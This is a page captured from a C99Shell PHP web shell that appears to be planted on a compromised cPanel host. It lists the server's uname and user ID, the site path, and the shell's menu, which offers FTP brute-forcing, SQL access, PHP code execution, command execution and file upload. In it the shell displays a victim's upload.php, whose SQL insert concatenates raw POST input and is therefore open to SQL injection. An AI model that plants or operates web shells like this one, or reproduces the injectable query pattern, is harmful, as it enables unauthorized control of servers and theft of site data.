!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/home/cp949260/public_html/mgprodee.com/autosoft_admin/   drwxr-xr-x
Free 236.36 GB of 981.82 GB (24.07%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     upload.php (1.52 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php 
ob_start
();
session_start();


  if(isset(
$_POST['submitform'])){

    
$datenow=date("Y-m-d");
    
$title=$_POST['input_title'];
    
$short=$_POST['input_short'];
    
$detail=$_POST['input_detail'];
    
$title=$_POST['input_title'];

    if (!empty(
$_FILES["inputfile"]["name"])){  
      
$images $_FILES["inputfile"]["tmp_name"];
        
$file strtolower($_FILES["inputfile"]["name"]);
          
//$sizefile = $_FILES["inputfile"]["size"];
          
$datefile=date("YmdHis"); 
          
$typestrrchr($file,".");
      
$newname "thumbnails_".mt_rand(10,9999).$datefile;
      
//copy($_FILES["inputfile"]["tmp_name"],"uploads/".$_FILES["inputfile"]["name"]);
      
$width=800//*** Fix Width & Heigh (Autu caculate) ***//
      
$size=GetimageSize($images);
      
$height=round($width*$size[1]/$size[0]);
      
$images_orig ImageCreateFromJPEG($images);
      
$photoX ImagesX($images_orig);
      
$photoY ImagesY($images_orig);
      
$images_fin ImageCreateTrueColor($width$height);
      
ImageCopyResampled($images_fin$images_orig0000$width+1$height+1$photoX$photoY);
      
ImageJPEG($images_fin,"uploads/".$newname.$type);
      
ImageDestroy($images_orig);
      
ImageDestroy($images_fin);
      
    }else{
      echo 
"no file";
    }
  
     

      
      
$strSQL $conn->prepare("INSERT INTO tbl_product (article_id,titlename,image_v,imgtype,detail,creat_date,shortsummary)
      VALUES ('A01','
$title', '$newname','$type','$detail','$datenow','$short')");
      
$strSQL->execute();

    }else{


    }

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0196 ]--